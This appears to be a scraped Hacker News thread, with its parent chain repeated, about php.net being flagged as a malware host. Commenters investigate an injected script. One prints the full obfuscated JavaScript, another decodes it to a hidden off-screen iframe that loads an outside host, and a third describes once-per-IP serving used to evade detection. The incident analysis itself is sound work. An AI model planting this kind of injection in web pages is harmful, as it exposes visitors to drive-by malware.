<story><title>Php.net detected as a malware host by Google Safe Browsing</title><url>http://www.google.com/safebrowsing/diagnostic?site=http://php.net/manual/en/function.next.php&amp;hl=en</url></story><parent_chain><item><author>karma_fountain</author><text>1) When I go to static userprefs.js on my mobile, no obfuscated contents.&lt;p&gt;2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.&lt;p&gt;3) When i browse to static userprefs.js on normal mode I get the following js appended:&lt;p&gt;&lt;pre&gt;&lt;code&gt;    (function (MH) {
        var aS = &amp;quot;\x96\xad\xa1\xb4\x87\xf8J\x04Y.C\xb4u&amp;gt;\xac\xa8\x95\xbd\x04x\x8e\xa6:\x8c\x00O\x0b`\x04\x20-M@O\x00\x0d+\x0c\x0b\x04IM\x00d\x0fhbH&amp;quot;+
                 &amp;quot;mOO\x08J-\x0a.`iK\x00\x20(\x0b\x08)MM\x00d\x0bhKbmbb\x0bJ-\x09-`OhDf\x08)*B1*C0k\x0d,j2\x0c5+;|C\x19qSu\x1bgT`?\x0c\&amp;quot;1N&amp;#x27;v\x0b-,H8&amp;quot;+
                 &amp;quot;ky6Er\x04!]\x19uVD.\x20\x15$qe\x20S&amp;gt;:sU\x1e:2#\x13MQ\x1c&amp;lt;\x20\x02)\x0eSTBlf\x05?62:`In\x17T&amp;amp;\x0c\&amp;quot;\x1e7Y\x01X@\x00&amp;#x2F;.q\x12\&amp;quot;\x08f#&amp;quot;+
                 &amp;quot;\x04k\x0a\x15`k.\x15rf\x0cbS\x20|x\x106CZ\x14\x18Xu1&amp;gt;:rXy\x0evb\x0d,q\x16\x06j\x025U\&amp;quot;cX\x15y|&amp;lt;2W~\x16\x032-T\x15\x17\\\\q\x01\x03&amp;quot;+
                 &amp;quot;\x09g\x00&amp;#x2F;.q\x12\&amp;quot;\x08f^\x1as$\x13f\x0e\x20i\x08Ur&amp;amp;H`\x1dd\x17Pt|{\x18Xu5@kn5\x14$*bx\&amp;quot;Yc-&amp;amp;}?~~2Afm\x0c\x11T\x04j`^5tRb\x0d]\x08\&amp;quot;]&amp;quot;+
                 &amp;quot;\x19uVD.\x20\x129wq9S\\\x1e:Qv`+lqVBhBv^?id\x20\x0dh\x11v\&amp;quot;*@\x1e:Rr1&amp;lt;\x00xx\x13&amp;amp;9`\x09,wPd\x0cfzWzA\x06\x1e\x1eBknW\x16B(\x06a\x00q\x02)&amp;quot;+
                 &amp;quot;\x7f*q\x19\x1f\x11v\&amp;quot;*@t9F`k.\x15rf\x0cb[6|\&amp;quot;g{S\x06m\x19\x0c6?9\x17\x14\x06j`8;\x10@Q\x1aBk\x0cUt`*\x06w4\x03\x0f~#f\x1e\x18rw\x20i\x08U&amp;quot;+
                 &amp;quot;r&amp;amp;H`|x\x15`!D\x18&amp;lt;\x11p^\x1apr&amp;lt;:r6\x1c\\2\x14\x1c\x18s\x18\&amp;quot;\x0b*Wr\&amp;quot;l\x02~dF\x16h&amp;lt;:s`\x1c\\7B\x1c\x18rC&amp;lt;i~U@#\x18XucDs\x14M%\x1ezp\x11:&amp;quot;+
                 &amp;quot;\x12\x1c\x18s\x144^w=x&amp;lt;tA!]&amp;gt;:u\x06\x1e:3s\x02A@\x1c\x18sC~T_\x20\x0dh\x11v\&amp;quot;*@!\x1eB\x1e:0px\\\x06i=nT=y6.\x14ht\x0ct.R\x1fy\x14\x19q_}&amp;quot;+
                 &amp;quot;\x0ct\x7fr=\x7fZ[@]2y\x19\x1fA\x1f2?\x1fj\x13\x19s_i\x0d[E\x1bS\x1f};V]0y\x1f&amp;amp;{p_?\x7f0;q\x1f9hP[\x15\x1d]jT[\x12[?^\x1f&amp;amp;{t_?\x19#;r\x1f&amp;quot;+
                 &amp;quot;_hW[\x14\x1dIk{ay5_ym\x1fA\x1f3?\x1f\x7f\x14\x19s_\x1bE[\x16\x1d=\x7fR[\x16[9P\x1fu}\x1fc9u\x1f=\x7f0Ypy;P\x1bQ\x1f{ay&amp;gt;_yy6{u_Y6\x19Q\x1f&amp;quot;+
                 &amp;quot;\x19c\x1b\x1d]y}\x12\x19\x12]\x19.*P\x1fp}yx9\x20\x19P\x1f\x1fY!\x7f5y\x1dH1{0\x7f&amp;#x2F;+\x7f&amp;gt;\x1fA\x1f4?\x1f\x19\x02\x19s_\x1d\x0cz\x7f!;t}]&amp;quot;+
                 &amp;quot;ydY\x16\x19\x19\x08m(\x16\x19v=\x19\x20Ysy]\x0d\x1dI\x19A[\x16[_\x0c0\x1f\x10\x19+9#\x19T\x1f\x1f*4\x7f2yi[?\x09;zo?\x0c\&amp;quot;1N&amp;#x27;v\x0b-,H\x10&amp;quot;+
                 &amp;quot;\x0cui_gR&amp;amp;H\x10nw\x0b=fA(!T!\&amp;quot;\x12\x14\x0a[&amp;amp;&amp;#x27;n%Pe\x04\x156$\x1bdGjgP!dx-9\x06&amp;#x27;.\x056&amp;#x27;\&amp;quot;&amp;#x27;Rf\x1f$\x05.EtG&amp;amp;Zg\x7f9\x09\x7fk\x04j\x10.5\x19W&amp;quot;+
                 &amp;quot;\x16B(\x06v\x1dqq}s8^\\up\x02m_9\x17\x14\x06j`^8\x160Sq\x20+G$~~2\x15b\x01\x02m__\x7f\x176$j\x20qY=p&amp;lt;1f|x\x123\x20\x0dm?x-*0\x0c5I?&amp;#x27;n3A&amp;quot;+
                 &amp;quot;{M&amp;amp;H\x10nwySTBlf\x1326\x03$\x13^\x1e:3txx\x15%)!fsNW$\x06m\x19\x09?P,5\x195\x14$*b\x17v\x10!\x06\x13\x1e\\Z76x&amp;lt;uE\x0da$1.1d`+\x1d\x0cUr&amp;amp;H`&amp;quot;+
                 &amp;quot;|x\x130_x&amp;lt;uD#^\x1au$:f\x1ezp\x11&amp;lt;p\x1c&amp;lt;\x1fWfs6\x20\x0dh\&amp;quot;U*a\x16+-\x0ejky\x18M(v\x0e\x17k\x1b}\x0b=\x7fA(7E?P,5\x195\x14$*b\x17f\x00\x05&amp;quot;+
                 &amp;quot;\x13\x1e|\\Z77x&amp;lt;u\x16sL\x06`k=j\x17T&amp;amp;\x0c\&amp;quot;\x19&amp;lt;\\\x09QP\x00&amp;#x2F;.B1*C0k\x0d,jI9\x1akhvNSi[?\x09;_{\x7f\x0dl3I*f\x0d5k[&amp;quot;,
            Z7 = [&amp;quot;\x73\x70\x6c\x69\x74&amp;quot;, XC = 0x09 * 17, &amp;quot;\x6c\x65\x6e\x67\x74\x68&amp;quot;, &amp;quot;\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79&amp;quot;],
            Jm = &amp;quot;\xd5\xb6\xf9\x89\x9eT\x1a\xe4\x9a\x87\xd3\x16r\xa4\x99}Q\x8c\xc8\xe3t\xf4\xf9\xedC&amp;quot;,
            jS = aS[&amp;quot;\x73\x75\x62\x73\x74\x72\x69\x6e\x67&amp;quot;](0, Jm[Z7[2]]);
        UVf = function (wD) {
            var Np, uK, Ugx = uK = &amp;quot;&amp;quot;,
                DUB = 0;
            wD = wD[Z7[0]](Ugx);
            for (Np in wD) {
                if (wD[Z7[3]](Np)) {
                    uK += pVH(wD[Np], jS[Z7[0]](Ugx)[DUB %= jS[Z7[2]]]);
                    DUB++;
                }
            }
            return (uK);
        };
        jS = UVf(Jm);
        MH[UVf(&amp;quot;&amp;#x27;t!H&amp;quot;)](UVf(aS[UVf(&amp;quot;1w\&amp;quot;WtV)\x0e%&amp;quot;)](Jm[UVf(&amp;quot;.g.CtL&amp;quot;)])))
    })(window, pVH = function (g6D, FFl, LyS, mnT) {
        g6D = g6D[LyS = &amp;quot;\x63&amp;quot; + (mnT = &amp;quot;\x68\x61\x72\x43\x6f\x64\x65&amp;quot;) + &amp;quot;\x41\x74&amp;quot;](0);
        return (String[&amp;quot;\x66\x72\x6f\x6d\x43&amp;quot; + mnT](g6D &amp;amp; XC | ((g6D &amp;amp; (~XC &amp;amp; 0xff)) ^ (FFl[LyS](0) &amp;amp; (~XC &amp;amp; 0xff)))))
    });


&lt;/code&gt;&lt;/pre&gt;
4) When I control F5 the page to refresh, obfuscated contents are gone.&lt;p&gt;So I&amp;#x27;m leaning towards it being hacked a while ago and the hacked version was in my cache.</text></item><item><author>smsm42</author><text>It was changed to un-confuse whatever tool google is using. No version on github has obfuscated contents (see: &lt;a href=&quot;https://github.com/php/web-php/commits/master/userprefs.js&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;php&amp;#x2F;web-php&amp;#x2F;commits&amp;#x2F;master&amp;#x2F;userprefs.js&lt;/a&gt;) bit it does include another file (&lt;a href=&quot;https://github.com/php/web-php/commits/master/functions.js&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;php&amp;#x2F;web-php&amp;#x2F;commits&amp;#x2F;master&amp;#x2F;functions.js&lt;/a&gt;) which did have obfuscated contents. Where the version that inserts iframe to uk site came from?</text></item><item><author>karma_fountain</author><text>It&amp;#x27;s weird.  The file linked to in the google product forums (&lt;a href=&quot;http://static.php.net/www.php.net/userprefs.js&quot; rel=&quot;nofollow&quot;&gt;http:&amp;#x2F;&amp;#x2F;static.php.net&amp;#x2F;www.php.net&amp;#x2F;userprefs.js&lt;/a&gt;) definitely has a piece of obfuscated js to insert an iframe pointing to &lt;a href=&quot;http://lnkhere.reviewhdtv.co.uk/stat.htm&quot; rel=&quot;nofollow&quot;&gt;http:&amp;#x2F;&amp;#x2F;lnkhere.reviewhdtv.co.uk&amp;#x2F;stat.htm&lt;/a&gt;.  The actual &lt;a href=&quot;http://www.php.net/userprefs.js&quot; rel=&quot;nofollow&quot;&gt;http:&amp;#x2F;&amp;#x2F;www.php.net&amp;#x2F;userprefs.js&lt;/a&gt; does not though.</text></item><item><author>dscrd</author><text>Everybody seems to laugh and rage about this, but could somebody tell me if this is correctly detected or not? I would not be surprised at all if somebody had breached php.net. Did they properly check against intrusions?</text></item></parent_chain><comment><author>ingenter</author><text>This code deobfuscates basically to&lt;p&gt;&lt;pre&gt;&lt;code&gt;        tmp3 = (tmp2 = document.createElement(&amp;#x27;iframe&amp;#x27;)).style;
        tmp2.src = &amp;#x27;http:&amp;#x2F;&amp;#x2F;lnkhere.reviewhdtv.co.uk&amp;#x2F;stat.htm&amp;#x27;;
        tmp1 = (tmp0 = document.createElement(&amp;#x27;div&amp;#x27;)).style;
        tmp1.width = tmp1.height = &amp;#x27;-10000px&amp;#x27;;
        tmp1.overflow = &amp;#x27;hidden&amp;#x27;; tmp1.position = &amp;#x27;absolute&amp;#x27;; tmp1.left = &amp;#x27;-10000px&amp;#x27;;
        tmp4 = document.getElementsByTagName(&amp;#x27;div&amp;#x27;);
        tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);
&lt;/code&gt;&lt;/pre&gt;
Wrapped into onload.</text></comment>
<story><title>Php.net detected as a malware host by Google Safe Browsing</title><url>http://www.google.com/safebrowsing/diagnostic?site=http://php.net/manual/en/function.next.php&amp;hl=en</url></story><parent_chain><item><author>karma_fountain</author><text>1) When I go to static userprefs.js on my mobile, no obfuscated contents.&lt;p&gt;2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.&lt;p&gt;3) When i browse to static userprefs.js on normal mode I get the following js appended:&lt;p&gt;&lt;pre&gt;&lt;code&gt;    (function (MH) {
        var aS = &amp;quot;\x96\xad\xa1\xb4\x87\xf8J\x04Y.C\xb4u&amp;gt;\xac\xa8\x95\xbd\x04x\x8e\xa6:\x8c\x00O\x0b`\x04\x20-M@O\x00\x0d+\x0c\x0b\x04IM\x00d\x0fhbH&amp;quot;+
                 &amp;quot;mOO\x08J-\x0a.`iK\x00\x20(\x0b\x08)MM\x00d\x0bhKbmbb\x0bJ-\x09-`OhDf\x08)*B1*C0k\x0d,j2\x0c5+;|C\x19qSu\x1bgT`?\x0c\&amp;quot;1N&amp;#x27;v\x0b-,H8&amp;quot;+
                 &amp;quot;ky6Er\x04!]\x19uVD.\x20\x15$qe\x20S&amp;gt;:sU\x1e:2#\x13MQ\x1c&amp;lt;\x20\x02)\x0eSTBlf\x05?62:`In\x17T&amp;amp;\x0c\&amp;quot;\x1e7Y\x01X@\x00&amp;#x2F;.q\x12\&amp;quot;\x08f#&amp;quot;+
                 &amp;quot;\x04k\x0a\x15`k.\x15rf\x0cbS\x20|x\x106CZ\x14\x18Xu1&amp;gt;:rXy\x0evb\x0d,q\x16\x06j\x025U\&amp;quot;cX\x15y|&amp;lt;2W~\x16\x032-T\x15\x17\\\\q\x01\x03&amp;quot;+
                 &amp;quot;\x09g\x00&amp;#x2F;.q\x12\&amp;quot;\x08f^\x1as$\x13f\x0e\x20i\x08Ur&amp;amp;H`\x1dd\x17Pt|{\x18Xu5@kn5\x14$*bx\&amp;quot;Yc-&amp;amp;}?~~2Afm\x0c\x11T\x04j`^5tRb\x0d]\x08\&amp;quot;]&amp;quot;+
                 &amp;quot;\x19uVD.\x20\x129wq9S\\\x1e:Qv`+lqVBhBv^?id\x20\x0dh\x11v\&amp;quot;*@\x1e:Rr1&amp;lt;\x00xx\x13&amp;amp;9`\x09,wPd\x0cfzWzA\x06\x1e\x1eBknW\x16B(\x06a\x00q\x02)&amp;quot;+
                 &amp;quot;\x7f*q\x19\x1f\x11v\&amp;quot;*@t9F`k.\x15rf\x0cb[6|\&amp;quot;g{S\x06m\x19\x0c6?9\x17\x14\x06j`8;\x10@Q\x1aBk\x0cUt`*\x06w4\x03\x0f~#f\x1e\x18rw\x20i\x08U&amp;quot;+
                 &amp;quot;r&amp;amp;H`|x\x15`!D\x18&amp;lt;\x11p^\x1apr&amp;lt;:r6\x1c\\2\x14\x1c\x18s\x18\&amp;quot;\x0b*Wr\&amp;quot;l\x02~dF\x16h&amp;lt;:s`\x1c\\7B\x1c\x18rC&amp;lt;i~U@#\x18XucDs\x14M%\x1ezp\x11:&amp;quot;+
                 &amp;quot;\x12\x1c\x18s\x144^w=x&amp;lt;tA!]&amp;gt;:u\x06\x1e:3s\x02A@\x1c\x18sC~T_\x20\x0dh\x11v\&amp;quot;*@!\x1eB\x1e:0px\\\x06i=nT=y6.\x14ht\x0ct.R\x1fy\x14\x19q_}&amp;quot;+
                 &amp;quot;\x0ct\x7fr=\x7fZ[@]2y\x19\x1fA\x1f2?\x1fj\x13\x19s_i\x0d[E\x1bS\x1f};V]0y\x1f&amp;amp;{p_?\x7f0;q\x1f9hP[\x15\x1d]jT[\x12[?^\x1f&amp;amp;{t_?\x19#;r\x1f&amp;quot;+
                 &amp;quot;_hW[\x14\x1dIk{ay5_ym\x1fA\x1f3?\x1f\x7f\x14\x19s_\x1bE[\x16\x1d=\x7fR[\x16[9P\x1fu}\x1fc9u\x1f=\x7f0Ypy;P\x1bQ\x1f{ay&amp;gt;_yy6{u_Y6\x19Q\x1f&amp;quot;+
                 &amp;quot;\x19c\x1b\x1d]y}\x12\x19\x12]\x19.*P\x1fp}yx9\x20\x19P\x1f\x1fY!\x7f5y\x1dH1{0\x7f&amp;#x2F;+\x7f&amp;gt;\x1fA\x1f4?\x1f\x19\x02\x19s_\x1d\x0cz\x7f!;t}]&amp;quot;+
                 &amp;quot;ydY\x16\x19\x19\x08m(\x16\x19v=\x19\x20Ysy]\x0d\x1dI\x19A[\x16[_\x0c0\x1f\x10\x19+9#\x19T\x1f\x1f*4\x7f2yi[?\x09;zo?\x0c\&amp;quot;1N&amp;#x27;v\x0b-,H\x10&amp;quot;+
                 &amp;quot;\x0cui_gR&amp;amp;H\x10nw\x0b=fA(!T!\&amp;quot;\x12\x14\x0a[&amp;amp;&amp;#x27;n%Pe\x04\x156$\x1bdGjgP!dx-9\x06&amp;#x27;.\x056&amp;#x27;\&amp;quot;&amp;#x27;Rf\x1f$\x05.EtG&amp;amp;Zg\x7f9\x09\x7fk\x04j\x10.5\x19W&amp;quot;+
                 &amp;quot;\x16B(\x06v\x1dqq}s8^\\up\x02m_9\x17\x14\x06j`^8\x160Sq\x20+G$~~2\x15b\x01\x02m__\x7f\x176$j\x20qY=p&amp;lt;1f|x\x123\x20\x0dm?x-*0\x0c5I?&amp;#x27;n3A&amp;quot;+
                 &amp;quot;{M&amp;amp;H\x10nwySTBlf\x1326\x03$\x13^\x1e:3txx\x15%)!fsNW$\x06m\x19\x09?P,5\x195\x14$*b\x17v\x10!\x06\x13\x1e\\Z76x&amp;lt;uE\x0da$1.1d`+\x1d\x0cUr&amp;amp;H`&amp;quot;+
                 &amp;quot;|x\x130_x&amp;lt;uD#^\x1au$:f\x1ezp\x11&amp;lt;p\x1c&amp;lt;\x1fWfs6\x20\x0dh\&amp;quot;U*a\x16+-\x0ejky\x18M(v\x0e\x17k\x1b}\x0b=\x7fA(7E?P,5\x195\x14$*b\x17f\x00\x05&amp;quot;+
                 &amp;quot;\x13\x1e|\\Z77x&amp;lt;u\x16sL\x06`k=j\x17T&amp;amp;\x0c\&amp;quot;\x19&amp;lt;\\\x09QP\x00&amp;#x2F;.B1*C0k\x0d,jI9\x1akhvNSi[?\x09;_{\x7f\x0dl3I*f\x0d5k[&amp;quot;,
            Z7 = [&amp;quot;\x73\x70\x6c\x69\x74&amp;quot;, XC = 0x09 * 17, &amp;quot;\x6c\x65\x6e\x67\x74\x68&amp;quot;, &amp;quot;\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79&amp;quot;],
            Jm = &amp;quot;\xd5\xb6\xf9\x89\x9eT\x1a\xe4\x9a\x87\xd3\x16r\xa4\x99}Q\x8c\xc8\xe3t\xf4\xf9\xedC&amp;quot;,
            jS = aS[&amp;quot;\x73\x75\x62\x73\x74\x72\x69\x6e\x67&amp;quot;](0, Jm[Z7[2]]);
        UVf = function (wD) {
            var Np, uK, Ugx = uK = &amp;quot;&amp;quot;,
                DUB = 0;
            wD = wD[Z7[0]](Ugx);
            for (Np in wD) {
                if (wD[Z7[3]](Np)) {
                    uK += pVH(wD[Np], jS[Z7[0]](Ugx)[DUB %= jS[Z7[2]]]);
                    DUB++;
                }
            }
            return (uK);
        };
        jS = UVf(Jm);
        MH[UVf(&amp;quot;&amp;#x27;t!H&amp;quot;)](UVf(aS[UVf(&amp;quot;1w\&amp;quot;WtV)\x0e%&amp;quot;)](Jm[UVf(&amp;quot;.g.CtL&amp;quot;)])))
    })(window, pVH = function (g6D, FFl, LyS, mnT) {
        g6D = g6D[LyS = &amp;quot;\x63&amp;quot; + (mnT = &amp;quot;\x68\x61\x72\x43\x6f\x64\x65&amp;quot;) + &amp;quot;\x41\x74&amp;quot;](0);
        return (String[&amp;quot;\x66\x72\x6f\x6d\x43&amp;quot; + mnT](g6D &amp;amp; XC | ((g6D &amp;amp; (~XC &amp;amp; 0xff)) ^ (FFl[LyS](0) &amp;amp; (~XC &amp;amp; 0xff)))))
    });


&lt;/code&gt;&lt;/pre&gt;
4) When I control F5 the page to refresh, obfuscated contents are gone.&lt;p&gt;So I&amp;#x27;m leaning towards it being hacked a while ago and the hacked version was in my cache.</text></item><item><author>smsm42</author><text>It was changed to un-confuse whatever tool google is using. No version on github has obfuscated contents (see: &lt;a href=&quot;https://github.com/php/web-php/commits/master/userprefs.js&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;php&amp;#x2F;web-php&amp;#x2F;commits&amp;#x2F;master&amp;#x2F;userprefs.js&lt;/a&gt;) bit it does include another file (&lt;a href=&quot;https://github.com/php/web-php/commits/master/functions.js&quot; rel=&quot;nofollow&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;php&amp;#x2F;web-php&amp;#x2F;commits&amp;#x2F;master&amp;#x2F;functions.js&lt;/a&gt;) which did have obfuscated contents. Where the version that inserts iframe to uk site came from?</text></item><item><author>karma_fountain</author><text>It&amp;#x27;s weird.  The file linked to in the google product forums (&lt;a href=&quot;http://static.php.net/www.php.net/userprefs.js&quot; rel=&quot;nofollow&quot;&gt;http:&amp;#x2F;&amp;#x2F;static.php.net&amp;#x2F;www.php.net&amp;#x2F;userprefs.js&lt;/a&gt;) definitely has a piece of obfuscated js to insert an iframe pointing to &lt;a href=&quot;http://lnkhere.reviewhdtv.co.uk/stat.htm&quot; rel=&quot;nofollow&quot;&gt;http:&amp;#x2F;&amp;#x2F;lnkhere.reviewhdtv.co.uk&amp;#x2F;stat.htm&lt;/a&gt;.  The actual &lt;a href=&quot;http://www.php.net/userprefs.js&quot; rel=&quot;nofollow&quot;&gt;http:&amp;#x2F;&amp;#x2F;www.php.net&amp;#x2F;userprefs.js&lt;/a&gt; does not though.</text></item><item><author>dscrd</author><text>Everybody seems to laugh and rage about this, but could somebody tell me if this is correctly detected or not? I would not be surprised at all if somebody had breached php.net. Did they properly check against intrusions?</text></item></parent_chain><comment><author>recentdarkness</author><text>From my experience are these contents only provided once per IP and then you&amp;#x27;re getting filtered to not get any content again, to prevent &amp;#x27;easy&amp;#x27; detection of this.&lt;p&gt;You simply get blacklisted after the first serving</text></comment>